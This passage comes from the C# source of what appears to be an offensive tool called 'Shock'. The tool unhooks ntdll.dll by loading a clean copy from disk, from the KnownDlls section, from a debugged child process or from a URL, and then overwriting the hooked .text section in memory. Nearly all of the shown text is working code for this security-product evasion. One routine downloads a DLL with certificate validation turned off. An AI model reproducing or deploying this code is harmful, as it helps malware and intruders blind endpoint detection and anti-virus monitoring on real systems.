259 | if (hFile == IntPtr.Zero)
260 | {
261 | Console.WriteLine("[-] Error calling CreateFileA");
262 | Environment.Exit(0);
263 | }
264 |
265 | // CreateFileMappingA
266 | IntPtr hSection = CreateFileMappingA(hFile, 0, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, "");
267 | if (hSection == IntPtr.Zero)
268 | {
269 | Console.WriteLine("[-] Error calling CreateFileMappingA");
270 | Environment.Exit(0);
271 | }
272 |
273 | // MapViewOfFile
274 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
275 | if (pNtdllBuffer == IntPtr.Zero)
276 | {
277 | Console.WriteLine("[-] Error calling MapViewOfFile");
278 | Environment.Exit(0);
279 | }
280 |
281 | // CloseHandle
282 | bool createfile_ch = CloseHandle(hFile);
283 | bool createfilemapping_ch = CloseHandle(hSection);
284 | if (!createfile_ch || !createfilemapping_ch)
285 | {
286 | Console.WriteLine("[-] Error calling CloseHandle");
287 | Environment.Exit(0);
288 | }
289 | return pNtdllBuffer;
290 | }
291 |
292 |
293 | // Map ntdl.dll from the file in KnownDlls folder and return view address
294 | public static IntPtr MapNtdllFromKnownDlls()
295 | {
296 | // Initialize OBJECT_ATTRIBUTES struct
297 | string dll_name = "\\KnownDlls\\ntdll.dll";
298 |
299 | // If 32-bit process the path changes
300 | if (IntPtr.Size == 4)
301 | {
302 | dll_name = "\\KnownDlls32\\ntdll.dll";
303 | }
304 | OBJECT_ATTRIBUTES object_attribute = InitializeObjectAttributes(dll_name, OBJ_CASE_INSENSITIVE);
305 |
306 | // NtOpenSection
307 | IntPtr hSection = IntPtr.Zero;
308 | uint NtStatus = NtOpenSection(ref hSection, SECTION_MAP_READ, ref object_attribute);
309 | if (NtStatus != 0)
310 | {
311 | Console.WriteLine("[-] Error calling NtOpenSection. NTSTATUS: " + NtStatus.ToString("X"));
312 | Environment.Exit(0);
313 | }
314 |
315 | // MapViewOfFile
316 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, SECTION_MAP_READ, 0, 0, 0);
317 | if (pNtdllBuffer == IntPtr.Zero)
318 | {
319 | Console.WriteLine("[-] Error calling MapViewOfFile");
320 | Environment.Exit(0);
321 | }
322 |
323 | // CloseHandle
324 | bool createfilemapping_ch = CloseHandle(hSection);
325 | if (!createfilemapping_ch)
326 | {
327 | Console.WriteLine("[-] Error calling CloseHandle");
328 | Environment.Exit(0);
329 | }
330 |
331 | return pNtdllBuffer;
332 | }
333 |
334 |
335 | public static int[] GetTextSectionInfo(IntPtr ntdl_address)
336 | {
337 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
338 |
339 | // Check MZ Signature
340 | byte[] data = new byte[2];
341 | IntPtr signature_addr = ntdl_address;
342 | ReadProcessMemory(hProcess, signature_addr, data, data.Length, out _);
343 | string signature_dos_header = System.Text.Encoding.Default.GetString(data);
344 | if (signature_dos_header != "MZ")
345 | {
346 | Console.WriteLine("[-] Incorrect DOS header signature");
347 | Environment.Exit(0);
348 | }
349 |
350 | // e_lfanew in offset 0x3C in _IMAGE_DOS_HEADER structure, its size is 4 bytes
351 | data = new byte[4];
352 | IntPtr e_lfanew_addr = ntdl_address + 0x3C;
353 | ReadProcessMemory(hProcess, e_lfanew_addr, data, 4, out _);
354 | int e_lfanew = BitConverter.ToInt32(data, 0);
355 |
356 | // Check PE Signature
357 | IntPtr image_nt_headers_addr = ntdl_address + e_lfanew;
358 | data = new byte[2];
359 | ReadProcessMemory(hProcess, image_nt_headers_addr, data, data.Length, out _);
360 | string signature_nt_header = System.Text.Encoding.Default.GetString(data);
361 | if (signature_nt_header != "PE")
362 | {
363 | Console.WriteLine("[-] Incorrect NT header signature");
364 | Environment.Exit(0);
365 | }
366 |
367 | // Check Optional Headers Magic field value
368 | IntPtr optional_headers_addr = image_nt_headers_addr + 24; // Marshal.SizeOf(typeof(UInt32)) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) = 24
369 | data = new byte[4];
370 | ReadProcessMemory(hProcess, optional_headers_addr, data, data.Length, out _);
371 | int optional_header_magic = BitConverter.ToInt16(data, 0);
372 | if (optional_header_magic != 0x20B && optional_header_magic != 0x10B)
373 | {
374 | Console.WriteLine("[-] Incorrect Optional Header Magic field value");
375 | Environment.Exit(0);
376 | }
377 |
378 | // SizeOfCode
379 | IntPtr sizeofcode_addr = optional_headers_addr + 4; // Uint16 (2 bytes) + Byte (1 byte) + Byte (1 byte)
380 | data = new byte[4];
381 | ReadProcessMemory(hProcess, sizeofcode_addr, data, data.Length, out _);
382 | int sizeofcode = BitConverter.ToInt32(data, 0);
383 |
384 | // BaseOfCode
385 | IntPtr baseofcode_addr = optional_headers_addr + 20; // Uint16 (2 bytes) + 2 Byte (1 byte) + 4 Uint32 (4 byte) - public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode;
386 | data = new byte[4];
387 | ReadProcessMemory(hProcess, baseofcode_addr, data, data.Length, out _);
388 | int baseofcode = BitConverter.ToInt32(data, 0);
389 |
390 | int[] result = { baseofcode, sizeofcode };
391 | return result;
392 | }
393 |
394 |
395 | // Create debug process, map its ntdl.dll .text section and copy it to a new buffer, return the buffer address
396 | public unsafe static IntPtr GetNtdllFromDebugProc(string process_path)
397 | {
398 | // CreateProcess in DEBUG mode
399 | STARTUPINFO si = new STARTUPINFO();
400 | si.cb = System.Runtime.InteropServices.Marshal.SizeOf(si);
401 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
402 | bool createprocess_res = CreateProcess(process_path, null, IntPtr.Zero, IntPtr.Zero, false, DEBUG_PROCESS, IntPtr.Zero, null, ref si, out pi);
403 | if (!createprocess_res)
404 | {
405 | Console.WriteLine("[-] Error calling CreateProcess");
406 | Environment.Exit(0);
407 | }
408 |
409 | // Ntdll .Text Section Address and Size from local process
410 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll");
411 | int[] result = GetTextSectionInfo(localNtdllHandle);
412 | int localNtdllTxtBase = result[0];
413 | int localNtdllTxtSize = result[1];
414 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase;
415 |
416 | // ReadProcessMemory to copy the bytes from ntdll.dll in the suspended process into a new buffer (ntdllBuffer)
417 | // debugged_process ntdll_handle = local ntdll_handle --> debugged_process .text section ntdll_handle = local .text section ntdll_handle
418 | byte[] ntdllBuffer = new byte[localNtdllTxtSize];
419 | uint readprocmem_res = ReadProcessMemory(pi.hProcess, localNtdllTxt, ntdllBuffer, ntdllBuffer.Length, out _);
420 | if (readprocmem_res == 0)
421 | {
422 | Console.WriteLine("[-] Error calling ReadProcessMemory");
423 | Environment.Exit(0);
424 | }
425 |
426 | // Get pointer to the buffer containing ntdll.dll
427 | IntPtr pNtdllBuffer = IntPtr.Zero;
428 | fixed (byte* p = ntdllBuffer)
429 | {
430 | pNtdllBuffer = (IntPtr)p;
431 | }
432 |
433 | // Terminate and close handles in debug process
434 | bool debugstop_res = DebugActiveProcessStop(pi.dwProcessId);
435 | bool terminateproc_res = TerminateProcess(pi.hProcess, 0);
436 | if (debugstop_res == false || terminateproc_res == false)
437 | {
438 | Console.WriteLine("[-] Error calling DebugActiveProcessStop or TerminateProcess");
439 | Environment.Exit(0);
440 | }
441 | bool closehandle_proc = CloseHandle(pi.hProcess);
442 | bool closehandle_thread = CloseHandle(pi.hThread);
443 | if (!closehandle_proc || !closehandle_thread)
444 | {
445 | Console.WriteLine("[-] Error calling CloseHandle");
446 | Environment.Exit(0);
447 | }
448 |
449 | return pNtdllBuffer;
450 | }
451 |
452 |
453 | // Overwrite hooked ntdll .text section with a clean version
454 | static void ReplaceNtdllTxtSection(IntPtr unhookedNtdllTxt, IntPtr localNtdllTxt, int localNtdllTxtSize)
455 | {
456 | // VirtualProtect to PAGE_EXECUTE_WRITECOPY
457 | uint dwOldProtection;
458 | bool vp1_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, out dwOldProtection);
459 | if (!vp1_res)
460 | {
461 | Console.WriteLine("[-] Error calling VirtualProtect (PAGE_EXECUTE_WRITECOPY)");
462 | Environment.Exit(0);
463 | }
464 |
465 | // Copy from one address to the other
466 | unsafe
467 | {
468 | Buffer.MemoryCopy((void*)unhookedNtdllTxt, (void*)localNtdllTxt, localNtdllTxtSize, localNtdllTxtSize);
469 | }
470 |
471 | // VirtualProtect back to PAGE_EXECUTE_READ
472 | bool vp2_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, dwOldProtection, out dwOldProtection);
473 | if (!vp2_res)
474 | {
475 | Console.WriteLine("[-] Error calling VirtualProtect (dwOldProtection)");
476 | Environment.Exit(0);
477 | }
478 | }
479 |
480 |
481 | public unsafe static IntPtr GetNtdllFromFromUrl(string dll_url)
482 | {
483 | Console.WriteLine("[+] Getting payload from url: " + dll_url);
484 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
485 | System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12;
486 | byte[] buf;
487 | using (System.Net.WebClient myWebClient = new System.Net.WebClient())
488 | {
489 | try
490 | {
491 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
492 | buf = myWebClient.DownloadData(dll_url);
493 | fixed (byte* p = buf)
494 | {
495 | IntPtr ptr = (IntPtr)p;
496 | return ptr;
497 | }
498 | }
499 | catch (Exception ex)
500 | {
501 | Console.WriteLine(ex.ToString());
502 | Environment.Exit(0);
503 | }
504 | }
505 | return IntPtr.Zero;
506 | }
507 |
508 |
509 | public static void ReplaceLibrary(string option, string wildcard_field)
510 | {
511 | // Clean DLL
512 | IntPtr unhookedNtdllTxt = IntPtr.Zero;
513 | switch (option)
514 | {
515 | // From file in disk
516 | case "disk":
517 | if (wildcard_field == "") {
518 | wildcard_field = "C:\\Windows\\System32\\ntdll.dll";
519 | }
520 | IntPtr unhookedNtdllHandle = MapNtdllFromDisk(wildcard_field);
521 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll;
522 | break;
523 |
524 | // From KnownDlls folder
525 | case "knowndlls":
526 | unhookedNtdllHandle = MapNtdllFromKnownDlls();
527 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll;
528 | break;
529 |
530 | // From a process created in DEBUG mode
531 | case "debugproc":
532 | if (wildcard_field == "")
533 | {
534 | wildcard_field = "c:\\windows\\system32\\calc.exe";
535 | }
536 | unhookedNtdllTxt = GetNtdllFromDebugProc(wildcard_field);
537 | break;
538 |
539 | // From a process created in DEBUG mode
540 | case "download":
541 | if (wildcard_field == "")
542 | {
543 | wildcard_field = "http://127.0.0.1/ntdll.dll";
544 | }
545 | unhookedNtdllHandle = GetNtdllFromFromUrl(wildcard_field);
546 | unhookedNtdllTxt = unhookedNtdllHandle + offset_fromdiskdll;
547 | break;
548 |
549 | // Default: Show usage message
550 | default:
551 | return;
552 | }
553 |
554 | // Local DLL
555 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll");
556 | int[] result = GetTextSectionInfo(localNtdllHandle);
557 | int localNtdllTxtBase = result[0];
558 | int localNtdllTxtSize = result[1];
559 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase;
560 |
561 | // Replace DLL
562 | Console.WriteLine("[+] Copying " + localNtdllTxtSize + " bytes from 0x" + unhookedNtdllTxt.ToString("X") + " to 0x" + localNtdllTxt.ToString("X"));
563 | ReplaceNtdllTxtSection(unhookedNtdllTxt, localNtdllTxt, localNtdllTxtSize);
564 | }
565 | }
566 | }
567 |
--------------------------------------------------------------------------------
/Shock/NT.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Text;
4 |
5 |
6 | namespace Shock
7 | {
8 | internal class NT
9 | {
10 | //////////////////// FUNCTIONS ////////////////////
11 | [DllImport("kernel32.dll", SetLastError = true)]
12 | public static extern IntPtr CreateFileA(
13 | string lpFileName,
14 | uint dwDesiredAccess,
15 | uint dwShareMode,
16 | uint lpSecurityAttributes,
17 | uint dwCreationDisposition,
18 | uint dwFlagsAndAttributes,
19 | uint hTemplateFile
20 | );
21 |
22 | [DllImport("kernel32.dll", SetLastError = true)]
23 | public static extern bool VirtualProtect(
24 | IntPtr lpAddress,
25 | uint dwSize,
26 | uint flNewProtect,
27 | out uint lpflOldProtect
28 | );
29 |
30 | [DllImport("Kernel32.dll", SetLastError = true)]
31 | public static extern bool CloseHandle(
32 | IntPtr handle
33 | );
34 |
35 | [DllImport("kernel32.dll", SetLastError = true)]
36 | public static extern IntPtr CreateFileMappingA(
37 | IntPtr hFile,
38 | uint lpFileMappingAttributes,
39 | uint flProtect,
40 | uint dwMaximumSizeHigh,
41 | uint dwMaximumSizeLow,
42 | string lpName
43 | );
44 |
45 | [DllImport("kernel32.dll", SetLastError = true)]
46 | public static extern IntPtr MapViewOfFile(
47 | IntPtr hFileMappingObject,
48 | uint dwDesiredAccess,
49 | uint dwFileOffsetHigh,
50 | uint dwFileOffsetLow,
51 | uint dwNumberOfBytesToMap
52 | );
53 |
54 | [DllImport("ntdll.dll", SetLastError = true)]
55 | public static extern uint NtQueryInformationProcess(
56 | IntPtr processHandle,
57 | int processInformationClass,
58 | IntPtr pbi,
59 | uint processInformationLength,
60 | out uint returnLength
61 | );
62 |
63 | [DllImport("kernel32.dll", SetLastError = true)]
64 | public static extern uint ReadProcessMemory(
65 | IntPtr hProcess,
66 | IntPtr lpBaseAddress,
67 | [Out] byte[] lpBuffer,
68 | int dwSize,
69 | out uint lpNumberOfBytesRead
70 | );
71 |
72 | [DllImport("ntdll.dll", SetLastError = true)]
73 | public static extern uint NtOpenSection(
74 | ref IntPtr FileHandle,
75 | int DesiredAccess,
76 | ref OBJECT_ATTRIBUTES ObjectAttributes
77 | );
78 |
79 |
80 | public static OBJECT_ATTRIBUTES InitializeObjectAttributes(string dll_name, UInt32 Attributes)
81 | {
82 | OBJECT_ATTRIBUTES objectAttributes = new OBJECT_ATTRIBUTES();
83 | objectAttributes.RootDirectory = IntPtr.Zero;
84 | UNICODE_STRING objectName = new UNICODE_STRING();
85 | objectName.Buffer = dll_name;
86 | objectName.Length = (ushort)(dll_name.Length * 2);
87 | objectName.MaximumLength = (ushort)(dll_name.Length * 2 + 2);
88 | objectAttributes.ObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(objectName));
89 | Marshal.StructureToPtr(objectName, objectAttributes.ObjectName, false);
90 | objectAttributes.SecurityDescriptor = IntPtr.Zero;
91 | objectAttributes.SecurityQualityOfService = IntPtr.Zero;
92 | objectAttributes.Attributes = Attributes;
93 | objectAttributes.Length = Convert.ToUInt32(Marshal.SizeOf(objectAttributes));
94 | return objectAttributes;
95 | }
96 |
97 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
98 | public static extern bool CreateProcess(
99 | string lpApplicationName,
100 | string lpCommandLine,
101 | IntPtr lpProcessAttributes,
102 | IntPtr lpThreadAttributes,
103 | bool bInheritHandles,
104 | uint dwCreationFlags,
105 | IntPtr lpEnvironment,
106 | string lpCurrentDirectory,
107 | ref STARTUPINFO lpStartupInfo,
108 | out PROCESS_INFORMATION lpProcessInformation
109 | );
110 |
111 | [DllImport("kernel32.dll")]
112 | public static extern bool DebugActiveProcessStop(
113 | int dwProcessId
114 | );
115 |
116 | [DllImport("kernel32.dll")]
117 | public static extern bool TerminateProcess(
118 | IntPtr hProcess,
119 | uint uExitCode
120 | );
121 |
122 | ///////////////////// STRUCTS /////////////////////
123 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
124 | public struct UNICODE_STRING
125 | {
126 | public ushort Length;
127 | public ushort MaximumLength;
128 | [MarshalAs(UnmanagedType.LPWStr)] public string Buffer;
129 | }
130 |
131 | [StructLayout(LayoutKind.Sequential)]
132 | public struct OBJECT_ATTRIBUTES
133 | {
134 | public uint Length;
135 | public IntPtr RootDirectory;
136 | public IntPtr ObjectName;
137 | public uint Attributes;
138 | public IntPtr SecurityDescriptor;
139 | public IntPtr SecurityQualityOfService;
140 | }
141 |
142 | [StructLayout(LayoutKind.Sequential)]
143 | public struct STARTUPINFO
144 | {
145 | public int cb;
146 | public IntPtr lpReserved;
147 | public IntPtr lpDesktop;
148 | public IntPtr lpTitle;
149 | public int dwX;
150 | public int dwY;
151 | public int dwXSize;
152 | public int dwYSize;
153 | public int dwXCountChars;
154 | public int dwYCountChars;
155 | public int dwFillAttribute;
156 | public int dwFlags;
157 | public short wShowWindow;
158 | public short cbReserved2;
159 | public IntPtr lpReserved2;
160 | public IntPtr hStdInput;
161 | public IntPtr hStdOutput;
162 | public IntPtr hStdError;
163 | }
164 |
165 | [StructLayout(LayoutKind.Sequential)]
166 | public struct PROCESS_INFORMATION
167 | {
168 | public IntPtr hProcess;
169 | public IntPtr hThread;
170 | public int dwProcessId;
171 | public int dwThreadId;
172 | }
173 |
174 | //////////////////// CONSTANTS ////////////////////
175 | public const uint GENERIC_READ = (uint)0x80000000; // https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/262970b7-cd4a-41f4-8c4d-5a27f0092aaa
176 | public const uint FILE_SHARE_READ = 0x00000001;
177 | public const uint OPEN_EXISTING = 3; // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea
178 | public const uint FILE_ATTRIBUTE_NORMAL = (uint)0x00000080; // https://learn.microsoft.com/es-es/windows/win32/fileio/file-attribute-constants
179 | public const uint PAGE_READONLY = 0x02; // https://learn.microsoft.com/es-es/windows/win32/memory/memory-protection-constants
180 | public const uint SEC_IMAGE_NO_EXECUTE = 0x11000000; // https://learn.microsoft.com/es-es/windows/win32/api/winbase/nf-winbase-createfilemappinga
181 | public const uint FILE_MAP_READ = 4; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win
182 | public const uint PAGE_EXECUTE_WRITECOPY = 0x80;
183 | public const uint OBJ_CASE_INSENSITIVE = 0x00000040;
184 | public const int SECTION_MAP_READ = 0x0004; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win
185 | public const uint DEBUG_PROCESS = 0x00000001;
186 | public const int offset_mappeddll = 4096;
187 | public const int offset_fromdiskdll = 0x400;
188 |
189 |
190 | public unsafe static IntPtr CustomGetModuleHandle(String dll_name)
191 | {
192 | uint process_basic_information_size = 48;
193 | int peb_offset = 0x8;
194 | int ldr_offset = 0x18;
195 | int inInitializationOrderModuleList_offset = 0x30;
196 | int flink_dllbase_offset = 0x20;
197 | int flink_buffer_offset = 0x50;
198 |
199 | // Get current process handle
200 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
201 |
202 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
203 | byte[] pbi_byte_array = new byte[process_basic_information_size];
204 |
205 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array
206 | IntPtr pbi_addr = IntPtr.Zero;
207 | fixed (byte* p = pbi_byte_array)
208 | {
209 | pbi_addr = (IntPtr)p;
210 | NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out _);
211 | }
212 |
213 | // Get PEB Base Address
214 | IntPtr peb_pointer = pbi_addr + peb_offset;
215 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
216 |
217 | // Get Ldr
218 | IntPtr ldr_pointer = pebaddress + ldr_offset;
219 | IntPtr ldr_adress = Marshal.ReadIntPtr(ldr_pointer);
220 |
221 | // Get InInitializationOrderModuleList (LIST_ENTRY) inside _PEB_LDR_DATA struct
222 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset;
223 |
224 | IntPtr next_flink = Marshal.ReadIntPtr(InInitializationOrderModuleList);
225 | IntPtr dll_base = (IntPtr)1337;
226 | while (dll_base != IntPtr.Zero)
227 | {
228 | next_flink = next_flink - 0x10;
229 | // Get DLL base address
230 | dll_base = Marshal.ReadIntPtr(next_flink + flink_dllbase_offset);
231 | IntPtr buffer = Marshal.ReadIntPtr(next_flink + flink_buffer_offset);
232 |
233 | // Get DLL name from buffer address
234 | String char_aux = null;
235 | String base_dll_name = "";
236 | while (char_aux != "")
237 | {
238 | char_aux = Marshal.PtrToStringAnsi(buffer);
239 | buffer += 2;
240 | base_dll_name += char_aux;
241 | }
242 | next_flink = Marshal.ReadIntPtr(next_flink + 0x10);
243 |
244 | // Compare with DLL name we are searching
245 | if (dll_name.ToLower() == base_dll_name.ToLower())
246 | {
247 | return dll_base;
248 | }
249 | }
250 |
251 | return IntPtr.Zero;
252 | }
253 |
254 |
255 | // Map ntdl.dll from the file in disk and return view address
256 | public static IntPtr MapNtdllFromDisk(string ntdll_path)
257 | {
258 | IntPtr hFile = CreateFileA(ntdll_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
259 |
260 | // CreateFileA
261 | if (hFile == IntPtr.Zero)
262 | {
263 | Console.WriteLine("[-] Error calling CreateFileA");
264 | Environment.Exit(0);
265 | }
266 |
267 | // CreateFileMappingA
268 | IntPtr hSection = CreateFileMappingA(hFile, 0, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, "");
269 | if (hSection == IntPtr.Zero)
270 | {
271 | Console.WriteLine("[-] Error calling CreateFileMappingA");
272 | Environment.Exit(0);
273 | }
274 |
275 | // MapViewOfFile
276 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
277 | if (pNtdllBuffer == IntPtr.Zero)
278 | {
279 | Console.WriteLine("[-] Error calling MapViewOfFile");
280 | Environment.Exit(0);
281 | }
282 |
283 | // CloseHandle
284 | bool createfile_ch = CloseHandle(hFile);
285 | bool createfilemapping_ch = CloseHandle(hSection);
286 | if (!createfile_ch || !createfilemapping_ch)
287 | {
288 | Console.WriteLine("[-] Error calling CloseHandle");
289 | Environment.Exit(0);
290 | }
291 | return pNtdllBuffer;
292 | }
293 |
294 |
295 | // Map ntdl.dll from the file in KnownDlls folder and return view address
296 | public static IntPtr MapNtdllFromKnownDlls()
297 | {
298 | // Initialize OBJECT_ATTRIBUTES struct
299 | string dll_name = "\\KnownDlls\\ntdll.dll";
300 |
301 | // If 32-bit process the path changes
302 | if (IntPtr.Size == 4)
303 | {
304 | dll_name = "\\KnownDlls32\\ntdll.dll";
305 | }
306 | OBJECT_ATTRIBUTES object_attribute = InitializeObjectAttributes(dll_name, OBJ_CASE_INSENSITIVE);
307 |
308 | // NtOpenSection
309 | IntPtr hSection = IntPtr.Zero;
310 | uint NtStatus = NtOpenSection(ref hSection, SECTION_MAP_READ, ref object_attribute);
311 | if (NtStatus != 0)
312 | {
313 | Console.WriteLine("[-] Error calling NtOpenSection. NTSTATUS: " + NtStatus.ToString("X"));
314 | Environment.Exit(0);
315 | }
316 |
317 | // MapViewOfFile
318 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, SECTION_MAP_READ, 0, 0, 0);
319 | if (pNtdllBuffer == IntPtr.Zero)
320 | {
321 | Console.WriteLine("[-] Error calling MapViewOfFile");
322 | Environment.Exit(0);
323 | }
324 |
325 | // CloseHandle
326 | bool createfilemapping_ch = CloseHandle(hSection);
327 | if (!createfilemapping_ch)
328 | {
329 | Console.WriteLine("[-] Error calling CloseHandle");
330 | Environment.Exit(0);
331 | }
332 |
333 | return pNtdllBuffer;
334 | }
335 |
336 |
337 | public static int[] GetTextSectionInfo(IntPtr ntdl_address)
338 | {
339 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
340 |
341 | // Check MZ Signature
342 | byte[] data = new byte[2];
343 | IntPtr signature_addr = ntdl_address;
344 | ReadProcessMemory(hProcess, signature_addr, data, data.Length, out _);
345 | string signature_dos_header = System.Text.Encoding.Default.GetString(data);
346 | if (signature_dos_header != "MZ")
347 | {
348 | Console.WriteLine("[-] Incorrect DOS header signature");
349 | Environment.Exit(0);
350 | }
351 |
352 | // e_lfanew in offset 0x3C in _IMAGE_DOS_HEADER structure, its size is 4 bytes
353 | data = new byte[4];
354 | IntPtr e_lfanew_addr = ntdl_address + 0x3C;
355 | ReadProcessMemory(hProcess, e_lfanew_addr, data, 4, out _);
356 | int e_lfanew = BitConverter.ToInt32(data, 0);
357 |
358 | // Check PE Signature
359 | IntPtr image_nt_headers_addr = ntdl_address + e_lfanew;
360 | data = new byte[2];
361 | ReadProcessMemory(hProcess, image_nt_headers_addr, data, data.Length, out _);
362 | string signature_nt_header = System.Text.Encoding.Default.GetString(data);
363 | if (signature_nt_header != "PE")
364 | {
365 | Console.WriteLine("[-] Incorrect NT header signature");
366 | Environment.Exit(0);
367 | }
368 |
369 | // Check Optional Headers Magic field value
370 | IntPtr optional_headers_addr = image_nt_headers_addr + 24; // Marshal.SizeOf(typeof(UInt32)) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) = 24
371 | data = new byte[4];
372 | ReadProcessMemory(hProcess, optional_headers_addr, data, data.Length, out _);
373 | int optional_header_magic = BitConverter.ToInt16(data, 0);
374 | if (optional_header_magic != 0x20B && optional_header_magic != 0x10B)
375 | {
376 | Console.WriteLine("[-] Incorrect Optional Header Magic field value");
377 | Environment.Exit(0);
378 | }
379 |
380 | // SizeOfCode
381 | IntPtr sizeofcode_addr = optional_headers_addr + 4; // Uint16 (2 bytes) + Byte (1 byte) + Byte (1 byte)
382 | data = new byte[4];
383 | ReadProcessMemory(hProcess, sizeofcode_addr, data, data.Length, out _);
384 | int sizeofcode = BitConverter.ToInt32(data, 0);
385 |
386 | // BaseOfCode
387 | IntPtr baseofcode_addr = optional_headers_addr + 20; // Uint16 (2 bytes) + 2 Byte (1 byte) + 4 Uint32 (4 byte) - public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode;
388 | data = new byte[4];
389 | ReadProcessMemory(hProcess, baseofcode_addr, data, data.Length, out _);
390 | int baseofcode = BitConverter.ToInt32(data, 0);
391 |
392 | int[] result = { baseofcode, sizeofcode };
393 | return result;
394 | }
395 |
396 |
397 | // Create debug process, map its ntdl.dll .text section and copy it to a new buffer, return the buffer address
398 | public unsafe static IntPtr GetNtdllFromDebugProc(string process_path)
399 | {
400 | // CreateProcess in DEBUG mode
401 | STARTUPINFO si = new STARTUPINFO();
402 | si.cb = System.Runtime.InteropServices.Marshal.SizeOf(si);
403 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
404 | bool createprocess_res = CreateProcess(process_path, null, IntPtr.Zero, IntPtr.Zero, false, DEBUG_PROCESS, IntPtr.Zero, null, ref si, out pi);
405 | if (!createprocess_res)
406 | {
407 | Console.WriteLine("[-] Error calling CreateProcess");
408 | Environment.Exit(0);
409 | }
410 |
411 | // Ntdll .Text Section Address and Size from local process
412 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll");
413 | int[] result = GetTextSectionInfo(localNtdllHandle);
414 | int localNtdllTxtBase = result[0];
415 | int localNtdllTxtSize = result[1];
416 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase;
417 |
418 | // ReadProcessMemory to copy the bytes from ntdll.dll in the suspended process into a new buffer (ntdllBuffer)
419 | // debugged_process ntdll_handle = local ntdll_handle --> debugged_process .text section ntdll_handle = local .text section ntdll_handle
420 | byte[] ntdllBuffer = new byte[localNtdllTxtSize];
421 | uint readprocmem_res = ReadProcessMemory(pi.hProcess, localNtdllTxt, ntdllBuffer, ntdllBuffer.Length, out _);
422 | if (readprocmem_res == 0)
423 | {
424 | Console.WriteLine("[-] Error calling ReadProcessMemory");
425 | Environment.Exit(0);
426 | }
427 |
428 | // Get pointer to the buffer containing ntdll.dll
429 | IntPtr pNtdllBuffer = IntPtr.Zero;
430 | fixed (byte* p = ntdllBuffer)
431 | {
432 | pNtdllBuffer = (IntPtr)p;
433 | }
434 |
435 | // Terminate and close handles in debug process
436 | bool debugstop_res = DebugActiveProcessStop(pi.dwProcessId);
437 | bool terminateproc_res = TerminateProcess(pi.hProcess, 0);
438 | if (debugstop_res == false || terminateproc_res == false)
439 | {
440 | Console.WriteLine("[-] Error calling DebugActiveProcessStop or TerminateProcess");
441 | Environment.Exit(0);
442 | }
443 | bool closehandle_proc = CloseHandle(pi.hProcess);
444 | bool closehandle_thread = CloseHandle(pi.hThread);
445 | if (!closehandle_proc || !closehandle_thread)
446 | {
447 | Console.WriteLine("[-] Error calling CloseHandle");
448 | Environment.Exit(0);
449 | }
450 |
451 | return pNtdllBuffer;
452 | }
453 |
454 |
455 | // Overwrite hooked ntdll .text section with a clean version
456 | static void ReplaceNtdllTxtSection(IntPtr unhookedNtdllTxt, IntPtr localNtdllTxt, int localNtdllTxtSize)
457 | {
458 | // VirtualProtect to PAGE_EXECUTE_WRITECOPY
459 | uint dwOldProtection;
460 | bool vp1_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, out dwOldProtection);
461 | if (!vp1_res)
462 | {
463 | Console.WriteLine("[-] Error calling VirtualProtect (PAGE_EXECUTE_WRITECOPY)");
464 | Environment.Exit(0);
465 | }
466 |
467 | // Copy from one address to the other
468 | unsafe
469 | {
470 | Buffer.MemoryCopy((void*)unhookedNtdllTxt, (void*)localNtdllTxt, localNtdllTxtSize, localNtdllTxtSize);
471 | }
472 |
